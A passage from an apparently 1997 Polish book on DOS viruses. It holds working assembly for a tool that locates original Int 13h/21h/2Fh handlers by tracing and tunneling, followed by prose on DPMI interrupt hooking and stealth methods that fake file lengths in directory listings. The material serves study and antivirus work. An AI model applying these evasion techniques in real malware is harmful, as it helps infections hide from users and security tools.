cs:ShowSeg,es ; \ trik 2F/13 mov cs:ShowOFS,bx ; / ; / mov ah,13h ; / int 2Fh ; / pop si ; \ pop dx ; \ pop bx ; \ przywroc zmieniane rejestry pop ax ; / pop es ; / pop ds ; / ret ; powrot z procedury Trik2F13 endp Tracing13 proc near ; procedura popbiera oryginalny ; adres Int 13h, wykorzystujac ; metode tracingu push ds ; \ push es ; \ push ax ; \ zachowaj zmieniane rejestry push bx ; / push cx ; / push dx ; / push si ; / mov ShowError, offset TeTracingFail ; ewentualny komunikat o bledzie lea si,TeTracing13 ; \ wyswietl info o metodzie Call Print ; / xor ax,ax ; \ zeruj zmienne pomocnicze mov ShowSeg,ax ; / mov ShowOfs,ax ; / mov ah,8 ; \ pobierz info o twardym dysku mov dl,80h ; \ i zachowaj na pozniej wartosci int 13h ; / rejestrow CX i DX; beda one mov MagicNum1,cx ; / potrzebne do sprawdzenia czy mov MagicNum2,dx ; / tracer jest juz w dobrym kodzie mov ax,3513h ; \ wez adres przerwania Int 13h, int 21h ; \ zeby mozna je bylo przetrace'owac, mov CallFarSeg,es ; / trzeba je emulowac poprzez mov CallFarOfs,bx ; / pushf/call dword ptr Ofs:Seg mov TraceMode,OFF ; flaga potrzebna tracerowi mov ax,3501h ; \ pobierz adres obslugi int 21h ; \ przerwania krokowego Int 1 mov of1,bx ; \ mov se1,es ; \ i ustaw nowa procedure jego ; - obslugi, sprawdzajaca, czy mov dx,offset Tracer_13 ; / funkcja zostala juz wykonana mov ax,2501h ; / przez BIOS int 21h ; / pushf ; \ wlacz tryb krokowy pop ax ; \ procesora or ah,1 ; \ push ax ; / popf ; / mov dl,80h ; parametr funkcji 08/int 13h = HD0 mov ah,08h ; numer funkcji BIOS pushf ; czesc emulacji Int 13 mov TraceMode,ON ; wlacz flage tracera Call dword ptr cs:IntAsFarCall ; emuluj int 13 mov TraceMode,OFF ; wylacz flage tracera pushf ; \ wylacz tryb krokowy pop ax ; \ procesora and ah,0FEH ; \ push ax ; / popf ; / lds dx,dword ptr cs:of1 ; \ przywroc stary adres przerwania mov ax,2501h ; / krokowego Int 1 int 21h ; / pop si ; \ pop dx ; \ pop cx ; \ przywroc zmieniane rejestry pop bx ; / pop ax ; / pop es ; / pop ds ; / ret ; powrot z procedury Tracing13 endp Tracer_13 proc far push bp ; zachowaj zmieniany rejestr mov bp,sp ; BP wskazuje na stos ; [bp+00] BP ; [bp+02] IP ; [bp+04] CS ; [bp+06] FLAGS push ax ; zachowaj zmieniany rejestr cmp cs:TraceMode,ON ; czy wlaczony tracer ? jne Tracer_13Exit ; jesli nie, to wyskocz z procedury mov ax,[bp+04] ; AX=CS image cmp ax,cs:ShowSeg ; czy segment kodu ten sam je OldSeg13 ; tak=wyskocz procedury ; nie=zachowaj nowy adres seg:ofs mov cs:ShowSeg,ax ; AX=CS image mov ax,[bp+02] ; AX=IP image mov cs:ShowOfs,ax OldSeg13: cmp cx,cs:MagicNum1 ; \ jne Tracer_13Exit ; \ czy funkcja sie juz wykonala ? cmp dx,cs:MagicNum2 ; / nie=wyskocz z procedury jne Tracer_13Exit ; / mov cs:TraceMode,OFF ; tak=wylacz tracer, bo adres ; znaleziony Tracer_13Exit: ; koniec przerwania Int 1 pop ax ; przywroc zmieniany rejestr or byte ptr [bp+7],1 ; [bp+06] FLAGS , ustaw ; bit TF dla nastepnego rozkazu ; wykonywanego po IRET pop bp ; przywroc zmieniany rejestr iret ; powrot z przerwania Int 1 Tracer_13 endp GetOriginal21 proc near push si ; zachowaj zmieniany rejestr lea si,TeGet21 ; \ pokaz info o przerwaniu 21h Call Print ; / Call LookUpTable21 ; wez adres 21h ; tablica stalych adresow Call ShowAddr ; pokaz adres 21h Call Recursive21 ; wez adres 21h ; metoda tunelingu rekursywnego Call ShowAddr ; pokaz adres 21h Call Tracing21 ; wez adres 21h ; metoda tracingu (tryb krokowy) Call ShowAddr ; pokaz adres 21h pop si ; przywroc zmieniany rejeetr ret ; powrot z procedury GetOriginal21 endp LookUpTable21 proc near push es ; \ push ax ; \ zachowaj zmieniane rejestry push bx ; / push si ; / lea si,TeLookUpTable21 ; \ wyswietl info o metodzie Call Print ; / xor ax,ax ; \ zeruj zmienne pomocnicze mov ShowSeg,ax ; / mov ShowOfs,ax ; / mov ShowError, offset TeLookUpTableFailDOSVer ; ewentualny komunikat o bledzie mov ah,30h ; \ wez wersje DOS int 21h ; / xchg al,ah ; ax=wersja DOS, ah=major,al=minor mov bx,109Eh ; ofset dla DOS 5.0 - 6.22 cmp ax,0500h ; wersja musi byc wieksza od 5.00 jb LookUpTable21_Exit ; mniejsza=tuneling nie zadziala cmp ax,0622h ; dla wersji wiekszej od 6.22 jbe DOSVerOk21 ; jest inny ofset mov bx,0FB2h ; ofset dla DOS >6.22 (np. 7.0) DOSVerOk21: ; ofset ustawiony push bx ; zachowaj go na stosie mov ah,52h ; \ pobierz do ES:BX adres struktury int 21h ; / LL (lista list) pop bx ; przywroc ze stosu ofset do skoku mov ShowError, offset TeLookUpTableFailBadOfs ; ewentualny komunikat o bledzie ; czy pod ES;BX jest sekwencja ; 90 lub EB NOP \JMP $+3 ; 90 lub 03 NOP / ; E8 xx xx CALL NEAR [IP+xxxx] ; 2E FF 2E yyyy JMP FAR CS:[yyyy] ? cmp word ptr es:[bx],9090h je FirstCodeOK21 ; skocz, gdy sa 2 NOPy cmp word ptr es:[bx],03EBh jne LookUpTable21_Exit ; skocz, gdy JMP $+3 FirstCodeOK21: cmp byte ptr es:[bx+2],0E8h ; jne LookUpTable21_Exit ; skocz, gdy nie ma CALL xxxx cmp word ptr es:[bx+5],0FF2Eh jne LookUpTable21_Exit ; skocz, gdy nie ma czesci rozkazu jmp far cmp byte ptr es:[bx+7],02Eh ; jne LookUpTable21_Exit ; skocz, gdy nie ma czesci rozkazu jmp far mov bx,word ptr es:[bx+8] ; \ pobierz [yyyy]=adres oryginalnej procedury les bx,dword ptr es:[bx] ; / mov ShowSeg,es ; przepisz segment i offset mov ShowOfs,bx ; potrzebne do wyswietlenia adresu LookUpTable21_Exit: ; skacz tu, gdy jakis blad pop si pop bx ; \ pop ax ; - przywroc zmieniane rejeetry pop es ; / ret ; powrot z procedury LookUpTable21 endp Recursive21 proc near push es ; \ push ds ; \ push ax ; \ zachowaj zmieniane rejestry push bx ; / push si ; / push di ; / lea si,TeRecursive21 ; \ wyswietl info o metodzie Call Print ; / mov ShowError, offset TeRecursive21Fail ; ewentualny komunikat o bledzie xor ax,ax ; \ zeruj zmienne pomocnicze mov ShowSeg,ax ; / mov ShowOfs,ax ; / mov ah,52h ; \ pobierz do ES:BX adres struktury int 21h ; / LL (lista list) mov bx,es xor ax,ax ; ustaw adres DS:SI na adres mov ds,ax ; przerwania 21h wskazywanego mov si,21h*4 ; przez tablice przerwa˝ xchg ax,di ; DI=licznik sprawdzanych bajtow=0 Adres32: lds si,ds:[si] ; pobierz adres or bx,bx ; czy koniec szukania ? jz WSegmencieDOS ; TAK - powrot DS:SI=adres mov ax,ds ; \ czy jest to segment DOS ? cmp ax,bx ; / jne NastepnyBajt ; TAK - znaleziony adres xor bx,bx ; BX=0 oznacza koniec szukania NastepnyBajt: lodsw ; wez 2 bajty bedace czescia ; aktualnej procedury dec si ; sprawdzamy co bajt cmp al,9Ah ; czy jest to CALL FAR PTR ? je Adres32 ; TAK - wez kolejny adres cmp al,0EAh ; czy jest to JMP FAR PTR ? je Adres32 ; TAK - wez kolejny adres cmp ax,0FF2Eh ; czy jest to JMP FAR CS:DWORD ? jne NieJMP_DWORD ; cmp byte ptr [si+1],al ; czy dalsza czesc rozkazu JMP FAR CS:DWORD ? jne NieJMP_DWORD ; mov si,ds:[si+2] ; pobierz ofset do danych dla skoku jmp short Adres32 ; TAK - wez kolejny adres NieJMP_DWORD: inc DI ; licznik sprawdzanych bajtow and DI,4095 ; jezeli sprawdzono juz > 4095 bajtow, je Recursive21_Exit ; to koncz, bo tuneling nie dziala jmp NastepnyBajt ; wez kolejny bajt WSegmencieDOS: ; adres zostal znaleziony (jest w DS:SI) mov cs:ShowSeg,ds ; przepisz segment i offset mov cs:ShowOfs,si ; potrzebne do wyswietlenia adresu Recursive21_Exit: ; skacz tu, gdy jakis blad pop di ; \ pop si ; \ pop bx ; \ przywroc zmieniane rejeetry pop ax ; / pop ds ; / pop es ; / ret ; powrot z procedury Recursive21 endp Tracing21 proc near ; procedura popbiera oryginalny ; adres Int 13h wykorzystujac ; metode tracingu push ds ; \ push es ; \ push ax ; \ zachowaj zmieniane rejestry push bx ; / push cx ; / push dx ; / push si ; / mov ShowError, offset TeTracingFail ; ewentualny komunikat o bledzie lea si,TeTracing21 ; \ wyswietl info o metodzie Call Print ; / xor ax,ax ; \ zeruj zmienne pomocnicze mov ShowSeg,ax ; / mov ShowOfs,ax ; / mov ah,62h ; \ pobierz info o aktualnym PSP int 21h ; \ i zachowaj na pozniej te wartosc mov MagicNum1,bx ; / (rejestr BX) bedzie ona ; / potrzebna, zeby sprawdzic, czy ; / tracer jest juz w dobrym kodzie mov ax,3521h int 21h ; \ wez adres przerwania Int 21h, mov CallFarSeg,es ; \ zeby mozna je bylo przetrace'ow mov CallFarOfs,bx ; / trzeba je emulowac poprzez ; / pushf/call dword ptr Ofs:Seg mov TraceMode,OFF ; flaga potrzebna dla tracera mov ax,3501h ; \ pobierz adres obslugi int 21h ; \ przerwania krokowego Int 1 mov of1,bx ; \ mov se1,es ; \ i zmien je na nowa procedure ; - obslugi, sprawdzajaca czy mov dx,offset Tracer_21 ; / funkcja zostala juz wykonana mov ax,2501h ; / przez DOS int 21h ; / pushf ; \ wlacz tryb krokowy pop ax ; \ procesora or ah,1 ; \ push ax ; / popf ; / mov ah,62h ; numer funkcji DOS pushf ; czesc emulacji Int 21 mov TraceMode,ON ; wlacz flage tracera Call dword ptr cs:IntAsFarCall ; emuluj int 21 mov TraceMode,OFF ; wylacz flage tracera pushf ; \ wylacz tryb krokowy pop ax ; \ procesora and ah,0FEH ; \ push ax ; / popf ; / ; \ przywroc stary adres przerwania lds dx,dword ptr cs:of1 ; / krokowego Int 1 mov ax,2501h ; / int 21h pop si ; \ pop dx ; \ pop cx ; \ przywroc zmieniane rejestry pop bx ; / pop ax ; / pop es ; / pop ds ; / ret ; powrot z procedury Tracing21 endp Tracer_21 proc far push bp ; zachowaj zmieniany rejestr mov bp,sp ; BP wskazuje na stos ; [bp+00] BP ; [bp+02] IP ; [bp+04] CS ; [bp+06] FLAGS push ax ; zachowaj zmieniany rejestr cmp cs:TraceMode,ON ; czy wlaczony tracer ? jne Tracer_21Exit ; jesli nie, to wyskocz z procedury mov ax,[bp+04] ; AX=CS instrukcji cmp ax,cs:ShowSeg ; czy segment kodu ten sam je OldSeg21 ; tak=wyskocz procedury mov cs:ShowSeg,ax ; nie=zachowaj nowy adres seg:ofs mov ax,[bp+02] ; AX=CS instrukcji mov cs:ShowOfs,ax ; AX=IP instrukcji OldSeg21: cmp bx,cs:MagicNum1 ; \ jne Tracer_21Exit ; \ czy funkcja juz sie wykonala ? ; / nie=wyskocz z procedury mov cs:TraceMode,OFF ; / tak=wylacz tracer, bo adres ; / znaleziony Tracer_21Exit: ; koniec przerwania Int 1 pop ax ; przywroc zmieniany rejestr or byte ptr [bp+7],1 ; [bp+06] FLAGS, ustaw ; bit TF dla nastepnego rozkazu ; wykonywanego po IRET pop bp ; przywroc zmieniany rejestr iret ; powrot z przerwania Int 1 Tracer_21 endp GetOriginal2F proc near push si ; zachowaj zmieniany rejestr lea si,TeGet2F ; \ pokaz info o przerwaniu 2Fh Call Print ; / Call LookUpTable2F ; wez adres 2Fh ; tablica stalych adresow Call ShowAddr ; pokaz adres 21h pop si ; przywroc zmieniany rejestr ret ; powrot z procedury GetOriginal2F endp LookUpTable2F proc near push es ; \ push ax ; \ zachowaj zmieniane rejestry push bx ; / push si ; / lea si,TeLookUpTable2F ; \ wyswietl info o metodzie Call Print ; / xor ax,ax ; \ zeruj zmienne pomocnicze mov ShowSeg,ax ; / mov ShowOfs,ax ; / mov ShowError, offset TeLookUpTableFailDOSVer ; ewentualny komunikat o bledzie mov ah,30h ; \ wez wersje DOS int 21h ; / xchg al,ah ; ax=wersja DOS, ah=major,al=minor mov bx,10C6h ; ofset dla DOS 5.0 - 6.22 cmp ax,0500h ; wersja musi byc wieksza od 5.00 jb LookUpTable2F_Exit ; mniejsza=tuneling nie zadziala cmp ax,0622h ; dla wersji wiekszej od 6.22 jbe DOSVerOk2F ; jest inny ofset mov bx,0FDAh ; ofset dla DOS >6.22 (np. 7.0) DOSVerOk2F: ; ofset ustawiony push bx ; zachowaj go na stosie mov ah,52h ; \ pobierz do ES:BX adres struktury int 21h ; / LL (lista list) pop bx ; przywroc ze stosu ofset do skoku mov ShowError, offset TeLookUpTableFailBadOfs ; ewentualny komunikat o bledzie ; czy pod ES;BX jest sekwencja ; 90 lub EB NOP \JMP $+3 ; 90 lub 03 NOP / ; E8 xx xx CALL NEAR [IP+xxxx] ; 2E FF 2E yyyy JMP FAR CS:[yyyy] ? cmp word ptr es:[bx],9090h je FirstCodeOK2F ; skocz, gdy sa 2-a NOPy cmp word ptr es:[bx],03EBh jne LookUpTable2F_Exit ; skocz, gdy JMP $+3 FirstCodeOK2F: cmp byte ptr es:[bx+2],0E8h ; jne LookUpTable2F_Exit ; skocz, gdy nie ma CALL xxxx cmp word ptr es:[bx+5],0FF2Eh jne LookUpTable2F_Exit ; skocz, gdy nie ma czesci rozkazu jmp far cmp byte ptr es:[bx+7],02Eh ; jne LookUpTable2F_Exit ; skocz, gdy nie ma czesci rozkazu jmp far mov bx,word ptr es:[bx+8] ; \ pobierz [yyyy]=adres oryginalnej procedury les bx,dword ptr es:[bx] ; / mov ShowSeg,es ; przepisz segment i ofset mov ShowOfs,bx ; potrzebne do wyswietlenia adresu LookUpTable2F_Exit: ; skacz tu, gdy jakis blad pop si pop bx ; \ pop ax ; - przywroc zmieniane rejestry pop es ; / ret ; powrot z procedury LookUpTable2F endp ShowAddr proc near ; wyswietl adres w postaci ; seg:ofs heksalnie na podstawie ; zawartosci zmiennych ; ShowSeg i ShowOfs push ax ; \ zachowaj zmieniany rejestr push si ; / mov si,ShowError ; \ wez adres komunikatu o ewentualnym ; / bledzie mov ax,ShowSeg ; czy seg i ofs sa wyzerowane, or ax,ShowOfs ; tzn czy nie znaleziono adresu ? jz ShowAddrError ; tak=nie znaleziono adresu mov ax,ShowSeg ; \ wyswietl segment Call PrintHexDW ; / mov al,':' ; \ wyswietl dwukropek Call PrintChar ; / mov ax,ShowOfs ; \ wyswietl ofset Call PrintHexDW ; / lea si,TeCRLF ; \ wyswietl CR,LF, ShowAddrError: ; - czyli przejdz do nastepnego wiersza Call Print ; / lub komunikat o bledzie pop si ; \ pop ax ; / przywroc zmieniany rejestr ret ; powrot z procedury ShowAddr endp PrintHexDW proc near ; procedura wyswietla heksalnie ; liczbe zawarta w AX push ax ; \ zachowaj zmieniane rejestry push bx ; / lea bx,HexChars ; bx wskazuje na tablice konwersji ; liczb heksadecymalnych 0..F Call PrintHex ; wyswietl liczbe w AX pop bx ; \ przywroc zmieniane rejestry pop ax ; / ret ; powrot z procedury PrintHexDW endp PrintHex proc near push ax ; zachowaj mlodsza czesc adresu mov al,ah ; AL=starsza czesc adresu Call PrintHexDB ; wyswietl starsza czesc adresu pop ax ; przywroc mlodsza czesc adresu PrintHexDB: ; wyswietl czesc adresu z al mov ah,al ; zachowaj na chwile te czesc shr al,1 ; \ wyswietl starsza czesc bajtu shr al,1 ; \ al przesuniete o 4 w prawo shr al,1 ; \ shr al,1 ; / xlat byte ptr cs:[bx] ; / al=[bx+al] Call PrintChar ; / wyswietl znak w AL mov al,ah ; \ wyswietl mlodsza czesc bajtu and al,15 ; \ al zamaskowane z 00001111b xlat byte ptr cs:[bx] ; / al=[bx+al] Call PrintChar ; / wyswietl znak w AL ret ; powrot z procedury PrintHex endp Print proc near ; procedura wyswietla tekst ASCIIZ ; spod adresu CS:SI push ax ; \ zachowaj zmieniane rejestry push si ; / GetNextChar: lods byte ptr cs:[si] ; wez kolejny znak or al,al ; czy znak jest zerem jz PrintExit ; tak=koniec napisu; wyjdz z petli Call PrintChar ; nie=wyswietl znak w AL ; jmp short GetNextChar ; i wez nastepny znak PrintExit: pop si ; \ przywroc zmieniane rejestry pop ax ; / ret ; powrot z procedury Print endp PrintChar proc near ; procedura wyswietla znak w AL push ax ; zachowaj zmieniany rejestr mov ah,0Eh ; funkcja BIOS int 10h ; wyswietl znak w AL pop ax ; przywroc zmieniany rejestr ret ; powrot z procedury PrintChar endp TeCopyRight: db CR,LF,'TUNEL v1.0, Autor : Adam Blaszczyk 1997',NUL TeGet13 db CR,LF,'Adres oryginalnej procedury 13h : ' db CR,LF,NUL TeGet21 db CR,LF,'Adres oryginalnej procedury 21h : ' db CR,LF,NUL TeGet2F db CR,LF,'Adres oryginalnej procedury 2Fh : ' TeCRLF db CR,LF,NUL TeTrik2F13 db ' _ trik Int 2Fh/13h := ',NUL TeTracing13 db ' _ tracing 13h := ',NUL TeLookUpTable21 db ' _ tablica stalych adresow 21h := ',NUL TeRecursive21 db ' _ tuneling rekursywny 21h := ',NUL TeTracing21 db ' _ tracing 21h := ',NUL TeLookUpTable2F db ' _ tablica stalych adresow 2Fh := ',NUL TeLookUpTableFailBadOfs db 'Blad : Zla kombinacja kodu',CR,LF,NUL TeLookUpTableFailDOSVer db 'Blad : Wersja DOS musi byc >5.0',CR,LF,NUL TeTracingFail db 'Blad : Tracing nie dziala',CR,LF,NUL TeRecursive21Fail db 'Blad : Tuneling rekursywny nie dziala',CR,LF,NUL HexChars db '0123456789ABCDEF' ShowSeg dw ? ; zmienne pomocnicze do zachowywania ShowOfs dw ? ; znalezionego adresu ShowError dw ? ; zmienna dla ewentualnych bledow of1 dw ? ; zmienne potrzebne do zachowywania se1 dw ? ; adresu Int 1 IntAsFarCall label dword ; adres dalekiej procedury sluzacej do CallFarOfs dw ? ; emulacji instrukcji INT CallFarSeg dw ? TraceMode db ? ; flaga ON=wlaczony/OFF= wlaczony tracer MagicNum1 dw ? ; zmienne pomocnicze do przechowywania MagicNum2 dw ? ; wartosci potrzebnych do sprawdzenia czy ; jestesmy juz we wlasciwym kodzie DOS/BIOS PROG ends ; koniec segmentu kodu i danych end CodeStart ; koniec programu, pierwsza instrukcja ; pod etykieta CodeStart 6.5. Wykorzystanie trybu chronionego Tryb chroniony nie jest zbyt często wykorzystywany przez wirusy, jednak kilka z nich używa go do przejmowania przerwań. Po zainstalowaniu (co wiąże się z przejściem do trybu chronionego) każde odwołanie do jakiegokolwiek przerwania będzie kierowane najpierw do wirusa, a dopiero ten przekaże je do oszukiwanego systemu poprzez chwilowe przejście (ang. redirection) do trybu rzeczywistego (lub trybu V86). Ponadto, aby utrudnić wykrycie wirusa w pamięci, można po instalacji przenieść jego kod do pamięci powyżej 1MB. W przypadku systemu Windows do przejmowania przerwań można wykorzystać fakt, iż udostępnia on programom usługi specyfikacji DPMI (ang. DOS Protected Mode Interface). Do przejmowania przerwań służą funkcje: > 0200h - odczytanie wektora przerwań trybu rzeczywistego; > 0201h - zapisanie wektora przerwań trybu rzeczywistego; > 0202h - odczytanie adresu procedury obsługi wyjątku; > 0203h - ustawienie adresu procedury obsługi wyjątku; > 0204h - odczytanie wektora przerwań trybu wirtualnego; > 0205h - zapisanie wektora przerwań trybu wirtualnego; Powyższe funkcje są dostępne w trybie chronionym za pośrednictwem przerwania 31h. Przed ich użyciem należy sprawdzić, czy DPMI jest dostępne, za pomocą funkcji (1687/2F). Dokładniejsze informacje na temat specyfikacji DPMI oraz trybu chronionego zawarte są w pozycjach [l] i [6] ze spisu na końcu książki. 6.6. Włączanie się jako program obsługi urządzenia Jednym z wirusów stosujących tę metodę jest wymieniany już wirus DIR-2. Zamienia on oryginalną procedurę obsługi dysków poprzez manipulację na strukturach DPB, co zostało dokładniej omówione przy okazji omawiania wirusów zarażających JAP ROZDZIAŁ 7 Każdemu twórcy wirusa zależy na tym, aby jego dzieło jak najdłużej pozostawało nie wykryte przez użytkownika zainfekowanego systemu. Jest to zrozumiałe, gdyż wykrycie wirusa zwykle kończy się tym, iż w niedługim czasie wpada on w ręce osób piszących programy antywirusowe, a to owocuje napisaniem szczepionki, za sprawą której wirus znika wkrótce z wirusowej sceny. Niniejszy rozdział opisuje kilka najczęściej stosowanych przez wirusy technik ukrywania się w systemie operacyjnym. Niektóre z nich wymagają stałej obecności wirusa w pamięci, inne sprowadzają się do wykonania kilku operacji, które niejako na stałe ukrywają wirusa przed oczyma ciekawskich. 7.1. Technika stealth Wirusy komputerowe modyfikują pliki i sektory, zmieniając ich zawartość (w przypadku plików zwykle powiększają jeszcze ich długość). Teoretycznie więc, aby wykryć wirusa, wystarczy odczytać plik lub sektor i odnaleźć w nim, przy użyciu skaningu, odpowiednią sekwencję (sygnaturę) wirusa. I rzeczywiście, metoda ta stosowana była z dużym powodzeniem aż do momentu, gdy pojawił się pierwszy wirus używający techniki stealth. Słowo stealth znaczy po angielsku niewidzialny. Takimi właśnie wydają się wirusy używające tej ciekawej sztuczki, która polega na kontroli odpowiednich funkcji systemu DOS lub BIOS, obsługujących pamięć i operacje dyskowe. W momencie próby dowolnego dostępu do zainfekowanego pliku lub sektora uruchamiane są mechanizmy wirusa, które mają na celu oszukanie użytkownika. Oszustwo polega na tym, iż fizycznie zarażony obiekt, po odpowiedniej obróbce przez wirusa, wygląda, jakby był nie zainfekowany. Różne odmiany techniki stealth zostały omówione poniżej. 7.1.1. Podawanie prawdziwych długości plików (ang. semi-stealth) Wirusy wykorzystujące tę technikę oszukują system poprzez podawanie rzeczywistych długości zainfekowanych plików, wyświetlanych po wykonaniu polecenia DIR lub też w oknie programów dos Navi-gator, Norton Commander, XtreeGold, Windows Commander czy też innych, mniej znanych nakładek. Wyżej wymienione programy używają do przeszukiwania zawartości katalogu jednej z trzech par funkcji, z których pierwsza poszukuje pierwszego, a druga kolejnego wystąpienia w katalogu. Funkcje te to (1142/21), (4E/4F/21), (714E/714F/21). Oszukujący system wirus przejmuje te funkcje (niekoniecznie 'wszystkie) i monitoruje odpowiednie pola struktur, na których operuje dana funkcja. W momencie wykonywania jednej z funkcji wirus wywołuje pierwotny program obsługi przerwania, a następnie modyfikuje elementy odpowiedniej struktury: > pozycji katalogu (funkcje 11/12); > DTA (funkcje 4E/4F); > FindData (funkcje 714E/714F). Modyfikacja polega na odjęciu długości wirusa od długości pliku opisywanej w odpowiednim polu struktury oraz najczęściej jakiejś modyfikacji czasu lub daty, będących znacznikiem zainfekowania pliku. Powyższe operacje wykonywane są oczywiście tylko po wykryciu obecności wirusa w znalezionym pliku. 7.1.1.1. Polecenie DIR wywoływane z poziomu DOS Polecenie DIR używa do przeglądania zawartości katalogu, pary dwóch przeznaczonych specjalnie do tego celu funkcji (11,12/21). Obie funkcje korzystają z najstarszej metody operowania na plikach, a mianowicie z tzw. bloku opisu pliku FCB (ang. File Control Block}, podawanego jako parametr wejściowy do funkcji oraz z pola opisu pozycji katalogu, zwracanego po jej bezbłędnym wykonaniu w buforze DTA (ang. Disk Transfer Area), których opis przedstawiono w kolejnych tabelach. Podczas odwołań do struktury FCB należy pamiętać, iż istnieją dwie wersje opisu bloku FCB: zwykły i rozszerzony, będący rozwinięciem bloku zwykłego (zawiera dodatkowe pola). Jeżeli pierwszy bajt bloku jest równy 0FFh, mamy do czynienia z rozszerzonym blokiem opisu pliku. Adres aktualnego bufora DTA uzyskuje się za pomocą funkcji (2F/21), która umieszcza go w rejestrach ES:BX. Po powrocie z funkcji wskazują one bezpośrednio na pole opisu pozycji katalogu, w którym już bez przeszkód można odpowiednio modyfikować pola długości pliku (1C-1F) oraz czasu i daty ostatniej modyfikacji (18-19 i 1A-1B). Struktura bloku opisu pliku FCB (zwykłego) Adres Zawartość 00 numer napędu (0=domyślny, 1=A, B=2,...); jeżeli =OFFh, to rozszerzony blok opisu pliku FCB 01-08 8 bajtów nazwy pliku 09-0B 3 bajty rozszerzenia pliku 0C-0D numer aktualnego bloku 0E-0F długość logicznego rekordu 10-13 długość pliku 14-15 data ostatniej modyfikacji pliku 16-17 czas ostatniej modyfikacji pliku 18 ilość SFT dla pliku 19 atrybuty, znaczenie bitów bity 7-6 00 - SHARE.EXE niezaładowany, plik dyskowy 01 - SHARE.EXE niezaładowany, sterownik 10 - SHARE.EXE załadowany, plik zdalny 11 - SHARE.EXE załadowany, plik dyskowy lub sterownik bity 5-0 mniej znaczące 6 bitów ze słowa atrybutów 1A-1F zawartość zależna od pola 19, bity 7-6 wartość 11 1A-1B numer pierwszej JAP pliku 1C-1D określa numer rekordu w dostępie dzielonym 1E atrybuty pliku 1F nie używane wartość 10 1A-1B uchwyt w sieci 1C-1F ID w sieci wartość 01 1A-1D wskaźnik do nagfówka sterownika 1E-1F nie używane wartość 00 1A bajt informacyjny bit 7: atrybut tytko do odczytu w SFT bit 6: atrybut archiwalności w SFT bity 5-0: wyższe bity numeru sektora 1B-1C numer pierwszej JAP pliku 1D-1F niższe bity sektora zawierającego adres w katalogu 1F ilość pozycji katalogu w sektorze 20 bieżący rekord 21-24 numer rekordu w dostępie swobodnym; jeżeli rozmiar rekordu 64 bajtów, bardziej znacząca część jest pomijana Struktura bloku opisu pliku FCB (rozszerzonego) Adres Zawartość 00 wartość OFFh oznacza blok rozszerzony 01-05 zarezerwowane 06 atrybuty pliku 07-2B zwykły blok opisu FCB (patrz poprzednia tabela) Struktura pola opisu pozycji katalogu Adres Zawartość 00-07 nazwa pliku 08-0A rozszerzenie pliku 0B atrybuty pliku 0C-15 zarezerwowane 16-17 czas ostatniej modyfikacji pliku 18-19 data ostatniej modyfikacji pliku 1A-1B numer pierwszej JAP 1C-1F długość pliku 7.1.1.2. Programy nakładkowe używające krótkich nazw programów (DOS, Windows 3.1) Nakładki operujące na krótkich nazwach plików (tzn. 8 znaków nazwy i 3 znaki rozszerzenia) używają do przeglądania katalogu funkcji (4E, 4F/21). Wynik wywołania tych funkcji zwracany jest w buforze DTA, jednak format opisu znalezionej pozycji katalogu jest inny niż podczas wywoływania funkcji (11,12/21). Nie zmienia się natomiast sam sposób oszukiwania systemu. Po wykryciu wywoływania którejś z funkcji, należy najpierw uruchomić ją za pomocą pierwotnego programu obsługi, a następnie odczytać adres bufora DTA i zmodyfikować odpowiednie pola struktury. Pola struktury DTA pokazano poniżej. Najważniejsze z nich to: długość pliku (adres 1A-1D) oraz czas i data (adresy 16-17 i 18-19). Struktura DTA Adres Zawartość 00 znaczenie bitów: bity 6-0 numer napędu bit 7 ustawiony, oznacza plik zdalny 01-0B szablon poszukiwanych pozycji katalogu 0C atrybuty poszukiwanej pozycji 0D-0E numer wejścia w katalogu 0F-10 numer JAP katalogu nadrzędnego 11-14 zarezerwowane 15 atrybut znalezionej pozycji katalogu 16-17 czas ostatniej modyfikacji znalezionej pozycji katalogu 18-19 data ostatniej modyfikacji znalezionej pozycji katalogu 1A-1D długość znalezionej pozycji katalogu 1E-2A nazwa i rozszerzenie pliku 7.1.1.3. Programy wykorzystujące długie nazwy plików (Windows 95) oraz polecenie DIR wywoływane z poziomu okna Tryb MS-DOS Wraz z pojawieniem się systemu Windows 95 wprowadzono tzw. Długie nazwy plików, którymi zastąpiono dotychczas używane (jedenastoznakowe). Mechanizm obslugi długich nazw plików jest dostępny wyłącznie wtedy, gdy aktywny jest system Windows oraz gdy zainstalowany jest tzw. Menedżer IFS. Za obsługę długich nazw plików odpowiedzialna jest w systemie DOS funkcja (71??/21), gdzie ?? oznacza numer podfunkcji przekazywanej w rejestrze AL. Za pomocą takich podfunkcji zdublowano funkcje (z dokładnością do numerów) operujące na plikach, a dostępne we wcześniejszych wersjach systemu DOS. Za przeszukiwanie zawartości katalogu są więc odpowiedzialne dwie podfunkcje (714E,714F/21), operujące na wprowadzonej wraz z systemem Windows 95strukturze o nazwie FindData. Opisane funkcje są wykorzystywane m.in. przez polecenie DIR wywoływane w oknie Tryb MS-DOS (w systemie Windows 95). Aby umożliwić różnym aplikacjom działającym w 32-bitowym środowisku graficznym obsługę długich nazw plików, ale bez konieczności odwoływania się do funkcji 16-bitowego systemu DOS, Windows 95 udostępnia analogicznie działające funkcje poprzez tzw. API (ang. Application Program Interface), odpowiednik przerwania 21h dla systemu DOS. Kod większości funkcji systemowych dostępnych przez API zawarty jest w pliku KERNEL32.DLL, będącym częścią jądra systemu. Na przykład funkcji 714E odpowiada funkcja FindFirstFileA, zaś funkcji 714F - funkcja FindNextFileA. Z funkcji tych korzysta większość programów działających w systemie Windows 95, m.in. Explorator, a także różne programy nakładkowe, np. Wondows Commander 95, tak więc ich przejęcie pozwala na użycie techniki stealth również w systemie Windows 95 (na razie nie ma wirusa który potrafiłby to robić). Adresy do powyższych funkcji można odczytać z pliku KERNEL32.DLL (jest to nowy EXE typu PE), a uzyskane w ten sposób offsety należy zmodyfikować poprzez dodanie do ich adresu, pod którym znajduje się KERNEL32.DLL w pamięci. Niestety do dzisiaj nie jest znany mechanizm pozwalający na odczytanie tego adresu w sposób bezpośredni, bez używania funkcji API. Pierwszy wirus dla Windows 95 (Bizatch lub inaczej Boza) korzysta przy dostępie do funkcji systemowych ze stałego adresu, zapamiętanego w wirusie. Ze względu na to, że iż adres ten zmienia się w różnych podwersjach systemu Windows 95, należy przed jego użyciem sprawdzić, czy rzeczywiście jest on właściwy. Opis struktury FindData zamieszczono poniżej. Struktura FindData Adres Zawartość 00-03 atrybuty pliku bity 0-6 standardowe atrybuty plików DOS bit 8 plik tymczasowy (temporary) 04-0B czas i data utworzenia pliku 0C-13 czas i data ostatniego dostępu do pliku 14-1B czas i data ostatniej modyfikacji pliku 1C-1F długość pliku 